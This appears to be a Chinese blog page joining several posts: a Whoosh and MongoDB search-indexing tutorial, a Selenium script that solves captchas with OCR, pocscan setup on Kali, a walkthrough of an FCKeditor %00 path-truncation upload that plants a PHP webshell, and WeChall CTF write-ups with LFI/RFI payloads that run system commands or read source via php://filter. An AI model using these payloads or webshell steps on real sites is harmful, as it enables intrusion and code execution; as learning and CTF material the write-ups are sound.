Whoosh使用及为Mongodb建立索引

介绍

  由于作者的项目中需要为数据库建立索引以便以搜索,经过考察后还是决定使用Whoosh+MongoDB的方案。所以这篇文章是介绍怎样使用whoosh为mongodb建立索引,网上关于这方面的文章还是相对比较少的,所以有必要记录一下。

  whoosh是原生唯一的python写的全文搜索引擎,虽然说whoosh性能不一定比得上lucene,sphinx,xapian等,但由于是基于python,所以扩展性极好,非常容易集成到django或其他框架中,而且whoosh运行消耗的资源也比lucene等引擎少,加之作者的服务器性能较弱,数据量也还不大,就选择了whoosh作为搜索引擎

架构方案

  作者使用的方案是:使用jieba为需要索引的whoosh的字段进行中文分词,搜索时,whoosh只返回_id字段的值,然后在mongodb中查找。当然,这个whoosh也可以把所有的字段都储存起来,这样就可以直接返回搜索结果,而省去在mongodb上查找的时间,但由此引发的一个问题就是索引文件过大,是空间利用问题,而且这样做就把whoosh当成了数据库角色。所以作者放弃了这一方案。

建立索引

  这里不介绍whoosh,mongodb的安装方法,请自行搜索。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from whoosh.fields import Schema, TEXT, ID, DATETIME
from jieba.analyse import ChineseAnalyzer
from whoosh.index import create_in, open_dir
import jieba
jieba.load_userdict("dict.txt")

analyzer = ChineseAnalyzer()

schema = Schema(
nid=ID(unique=True, stored=True),
url=ID(unique=True, stored=False),
date=DATETIME(unique=False, stored=False, sortable=True),
title=TEXT(stored=False, analyzer=analyzer),
content=TEXT(stored=False, analyzer=analyzer)
)

if not os.path.exists('D:/pythonCode/whoosh/index/'):
os.mkdir("D:/pythonCode/whoosh/index/")
create_in("D:/pythonCode/whoosh/index/", schema) # 创建索引文件,需指定Schema

ix = open_dir("D:/pythonCode/whoosh/index/") #打开索引文件

  因为whoosh是python实现的,所以很方便的就能跟结巴结合。而结巴允许的用户自定义字典,这对专业领域的分词很有帮助,我们只需要在dict.txt中存放专业名词就行。

  索引首先需要定义Schemastored代表是否存储这个字段的值,sortable为是否可以排序,这里因为是时间,所以我选择True,analyzer分词器,这里我们使用结巴中文分词器。这里再啰嗦几句,ID的值为不可分割,所以适合url、id等一类不用分割查找的项;DATETIME为时间,不用解释;这里的TEXT才是我们需要分词、建立索引的项目。

  PPS:按照whoosh官方文档,对于简单的字段即使没有指定排序,但仍可以排序,只是结果可能不是那么完美。还有一种情况就是:如果你已经创建了Schema,并且写入数据,但是你想为某个字段排序,那么你可以使用:

1
2
3
4
5
6
7
from whoosh import sorting
from whoosh.index import open_dir

ix = open_dir("D:/pythonCode/whoosh/index/")

with ix.writer() as w:
sorting.add_sortable(w, "date", sorting.FieldFacet("date"))

索引数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from whoosh.index import create_in, open_dir

client = pymongo.MongoClient("xxx")
db = client['xxx']
collections = db['xxx']

ix = open_dir("D:/pythonCode/whoosh/index/") #打开索引文件
_id = collections.insert(dict(item))

with ix.writer() as writer:
writer.update_document(
nid=_id.__str__(),
url=item['url'],
title=item['title'],
date=datetime.strptime(item['date'], '%Y-%m-%d'), # 字符串化成时间格式
content=item['index_content']
)

  在需要建立索引的地方使用如上代码。这里注意的一点是,mongodb插入数据返回的是ObjectId,如ObjectId(“5a2e2652c0bae92df4dd2372”),而whoosh不支持存储ObjectId类型,所以我们需要的是括号里面的字符串,所以需要使用_id.__str__()提取。

搜索

  搜索代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from whoosh.index import create_in, open_dir
from whoosh.qparser import MultifieldParser, QueryParser
from whoosh import scoring, sorting
from bson.objectid import ObjectId

client = pymongo.MongoClient("xxx")
db = client['xxx']
collections = db['xxx']

ix = open_dir("D:/pythonCode/whoosh/index/") #打开索引文件
with ix.searcher() as searcher:
query = MultifieldParser(["title", "content"], ix.schema).parse("xss")
#query = QueryParser("content", ix.schema).parse("xss")

# 排序
mf = sorting.MultiFacet()
mf.add_field("date", reverse=True)
results = searcher.search(query, limit=10, sortedby=mf)
print(len(results))

for one in results:
_id = ObjectId(one['nid']) # 将字符串构造成 ObjectId
res = collections.find({'_id':_id})[0]
print(res['date'] + res['title'])
print('-----------------------\n')
count += 1

  MultifieldParser是搜索多个field,也就是多个字段,而QueryParser只能搜索一个字段。sorting.MultiFacet()是whoosh中实现排序的一种方法,reverse=True是反向排序,这里实现的是时间降序。searcher.search(sortedby=mf)指定排序方式。其实whoosh里提供多种排序方法,功能还挺全面。

  这里提供了mongodb如何使用_id查找的方法。

  如果需要将_id中的值提取出来,则使用:

1
2
_id = collections.insert(dict(item))
nid=_id.__str__()

  如果需要使用字符串查找,则使用:

1
2
3
4
from bson.objectid import ObjectId

_id = ObjectId(one['nid']) # 将字符串构造成 ObjectId
res = collections.find({'_id':_id})[0]

  完整的事例可查看此页面

Selenium下自动识别验证码登陆

介绍

 在自动化或者爬虫登陆网站时经常遇到验证码模块,这也算是反爬的一种手段。这篇文章将介绍如何在selenium框架下自动识别验证码登陆。

一:安装Tesseract-ocr

 Tesseract-ocr是文字识别系统,能识别英文、数字,如果需要识别汉字,则需要导入汉字语言包。

  • 在Windows下安装

      下载地址:Tesseract-ocr,这里可以选择版本,本机中选择4.0.0版。下载后默认安装,这里可以选择修改原安装路径,但修改后在后续进行环境变量的配置时记得更改。
      安装完毕后,配置系统环境变量。在Path一项中新增Tesseract-ocr的安装路径。


  接着在系统变量中新建如下系统变量,告诉Tesseract-ocr数据集的位置。



  然后验证是否安装成功。



  • 在Linux下安装

      直接执行:apt install tesseract-ocr。

二:python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

from selenium import webdriver
from PIL import Image

browser = webdriver.Chrome()

host = "https://www.baidu.com"
browser.get(host)
# 获取整个网页的截图
browser.save_screenshot("temp.png")
# 获取元素位置
element = browser.find_element_by_css_selector("img")
location = element.location
size = element.size
# # 计算出元素位置图像坐标
img = Image.open("temp.png")
left = location['x'] + 145
top = location['y'] + 90
right = location['x'] + size['width'] + 155
bottom = location['y'] + size['height'] + 100
img = img.crop((int(left), int(top), int(right), int(bottom)))
img.save('screenshot.png') # 是否保存图像

log = os.system('tesseract screenshot.png png -l eng')
keyword = open('png.txt', 'r').readline().rstrip('\n')
rex = re.compile(r'\D')
if re.search(rex, keyword) != None:
print('错误的验证码:' + keyword)
else:
print('keyword is ' + keyword)

 代码说明:selenium自带有截图功能,如果是选择非PhantomJS作为浏览器的话,当使用browser.save_screenshot("temp.png")时截的只是当前浏览器窗口显示的图片而不是整个网页,但使用PhantomJS时,截取的是整个网页
 selenium也可以选择区域或网页元素进行截图,不过需要PIL辅助,先从网页中获取该元素的位置,然后使用PIL Image里的crop截取。这里需要注意,如果使用例如Chrome等浏览器而非PhantomJS的话,会因为浏览器弹出的位置不同,导致无法准确的截到该元素的位置,需要自己反复调节,但使用PhantomJS时不会有这个问题。

 可以注意到,我这里是使用系统调用的方法进行识别,但有另一种方法是安装pyocr。直接执行pip install pyocr即可。由于作者不熟悉,加之有急需,故不再演示,只提出方法。

Kali安装pocscan

介绍

 简单记录在Kali下安装Pocscan,Pocscan是一款开源 Poc 调用框架,可轻松调用Pocsuite,Tangscan,Beebeeto,Knowsec老版本POC 按照官方规范编写的 Poc对目标域名进行扫描,并可以通过 Docker 一键部署。

  • Step 1:apt-get install docker

  • Step 2: 更改更新源列表(/etc/apt/source.list),往里面增加docker更新源。解决:
    没有可用的软件包 docker.io,但是它被其它的软件包引用了。
    E: 软件包 docker.io 没有可安装候选

    1
    deb http://http.debian.net/debian jessie-backports main
  • step 3:apt-get install docker.io

  • step 4:service docker start

  • step 5: docker pull daocloud.io/aber/pocscan:latest

  • step 6: cd /

  • step 7: git clone https://github.com/erevus-cn/pocscan.git

  • step 8: chmod -R 0777 pocscan

  • step 9: docker run -d -v /pocscan:/www -p 8090:8000 -p 8088:8088 daocloud.io/aber/pocscan:latest

  • step 10: 访问本地8090端口,后台和终端的帐号是root,密码是password.

  • Step 11:安装google chrome,并把主目录下pocsuite中的pocscan.crx安装到chrome。

FCKeditor 上传漏洞-截断上传

介绍

FCKeditor编辑器还是使用比较广泛的网站后台编辑器,在此次实战中应用了截断上传漏洞,不过有些不同的是,截断的不是文件名,而是上传路径。适用版本:<=2.6.4

涉及手段: %00截断、文件覆盖

实战

 一开始,尝试在文件名后截断,但全都无果,Google后发现篇paper,使用之,成功upload。主要思路文件夹截断,并把文件夹名当作上传文件名,从而绕过对文件名的验证

 Step 1:在本地编辑好PHP一句话,并且保存为txt格式。(不免杀)



 Step 2:选择PHP上传,并选中编辑好的txt文件。



 Step 3:用burpsuite抓包,在文件夹路径下写好上传后的文件名,并在最后用%00截断,如下图:








 Step 4:改好后放行,可以看到文件成功上传,然后访问返回的command.php



 Step 5:在这执行系统命令,但可以会受到权限限制。



 Step 6:同样的方法可用于一句话上传,然后使用菜刀连接。

参考链接

File-Upload-Vulnerability-in-FCKEditor.pdf


FCKeditor各版本绕过

Wechall WriteUp

初入ctf,写下记录以便查看。这里是wechall的一些题解。

目录


1. Training: Tracks (HTTP)

1、进入投票页面



点击 + 号,



再次点击进行投票。



此时完成第一次投票。进行第二次时会报错。



这时,我们将VOTE cookie删掉,如果不删会导致后续不成功。



打开burpsuite,抓包改包。修改If-None-Match的值,请求更新数据,因为服务器一开始会分配Etag,然后下次检测时会对比两者的值,如果一样就不更新数据,导致无法投票。

然后投票成功,通过题目。




2、Training: Baconian (Stegano, Encoding, Crypto, Training)

这题是解密培根密码,培根密码有两种密码表,并使用’A’、’B’代替0,1进行编码。
第一种密码表:



第二种密码表:



假如我要加密‘hello’,按照第一种方法加密的结果为:aabbb,aabaa,ababa,ababa,abbab;第二种为:aabbb,aabaa,ababb,ababb,abbba。
假如要解密‘WOrld…’,把整个字符串的大小写代表着‘A’、‘B’编码,所以这里有两个编码可能性,一是大写代表‘A’,小写代表‘B’,第二种相反。同时这里又有两种密码表,所以这里一共有2*2=4种可能性。
大写代表‘A’,小写代表‘B’,用第一种密码表可得:‘h’,第二种为:‘h’,这里刚好一样。
大写代表‘B’,小写代表‘A’,用第一种密码表没有结果,第二种为:‘y’。

所以将题目中给出的字符进行清洗,去除非字母字符包括数字。然后写个python脚本 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import re
Str = ‘………..’
arr = re.findall('.{5}', str)
alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
first_cipher = ["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa","abaab","ababa","ababb","abbaa","abbab","abbba","abbbb","baaaa","baaab","baaba","baabb","babaa","babab","babba","babbb","bbaaa","bbaab"]
second_cipher = ["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa","abaaa","abaab","ababa","ababb","abbaa","abbab","abbba","abbbb","baaaa","baaab","baaba","baabb","baabb","babaa","babab","babba","babbb"]

keyword1 = ""
keyword2 = ""
keyword3 = ""
keyword4 = ""
for one in arr:
toab1 = ""
toab2 = ""
for i in one:
if i.isupper():
toab1 += 'b'
toab2 += 'a'
else:
toab1 += 'a'
toab2 += 'b'

for local,ab in enumerate(first_cipher):
if ab == toab1:
keyword1 += alphabet[local]
if ab == toab2:
keyword3 += alphabet[local]

for local,ab in enumerate(second_cipher):
if ab == toab1:
keyword2 += alphabet[local]
if ab == toab2:
keyword4 += alphabet[local]

print(keyword1)
print(keyword2)
print(keyword3)
print(keyword4)

在输出中匹配‘is’,(别问为什么可以如此操作,,,直觉)并替换‘x’为空格。即可得出flag:iblpsclsennp






3、Repeating History (Research)

打开题中给出的github项目地址,找到该题目的文件夹。发现有两个文件夹,然后,,找。。。



先打开history



然后在install.php中可以找到$solution = ‘2bda2998d9b0ee197da142a0447f6725’; 进行md5解码可得“wrong”,发现是错误的。再查看提交记录。



查看图示中的历史



可以找到真实的solution。



翻遍这个文件夹也没有找到其他信息,返回打开repeating文件夹,可以找到第一部分。

1
Oh right... the solution to part one is '<?php /*InDaxIn*/ ?>' without the PHP comments and singlequotes.

所以,flag为:InDaxInNothingHereMoveAlong


4、PHP 0818 (Exploit, PHP)

审计,可以看到要提交的魔数,但在前面的for循环中又不允许出现“1-9”的数字。同时,return时用的是“==”而不是“===”,所以可能是弱类型利用。将魔数进行16进制转换,可以得到:deadc0de,0并不在其中。所以提交0xdeadc0de,解决问题。




5、Warchall: Live LFI (Linux, Exploit, Warchall)

文件包含,打开链接,发现只有设置网站语言的地方有参数传递,所以尝试构造:http://lfi.warchall.net/index.php?lang=solution.php。



一看有戏,尝试读取文件源码。这里介绍读源码的两种:

?file=data:text/plain,<?php system("cat solution.php")?>
?file=php://filter/read=convert.base64-encode/resource=index.php

构造:http://lfi.warchall.net/?lang=php://filter/read=convert.base64-encode/resource=solution.php。

Base64解密后可得:SteppinStones42Pie


6、Warchall: Live RFI (Linux, Exploit, Warchall)

与上题类似,读取文件,构造:http://rfi.warchall.net/index.php?lang=php://filter/read=convert.base64-encode/resource=solution.php。



Base64解码:

1
2
3
4
5
6
<html>
<body>
<pre>NOTHING HERE????</pre>
</body>
</html>
<?php return 'Low_H4NGING_Fruit'; ?>

这里也可以用:http://rfi.warchall.net/index.php?lang=data:text/plain,<?php system("cat solution.php")?>。



点击查看源代码:



手工,提交。


7、Can you read me (Coding, Image)

Description
    A friend and me have a bet running, that you won't beat his OCR program in scanning text out of images.
    His average scan time is 2.5 seconds, can you beat that?

要求在2.5s内识别并提交,首先安装tesseract:

1
apt install tesseract-ocr。

编写python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import os

cookie = {
'WC':'9953502-36792-3nWdWNVeHmWfnYj',
}
html = requests.get('http://www.wechall.net/challenge/can_you_readme/gimme.php', cookies=cookie)
png = open('png.jpg', 'wb').write(html.content) #写图片要使用二进制,并且使用html.content,而不是html.text

log = os.system('tesseract png.jpg png -l eng')
keyword = open('dec.txt', 'r').readline().rstrip('\n')
print('keyword is ' + keyword)
url = 'http://www.wechall.net/challenge/can_you_readme/index.php?solution={0}&cmd=Answer'.format(keyword)
page = requests.get(url, cookies=cookie)
print(page.text)

搞定。

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×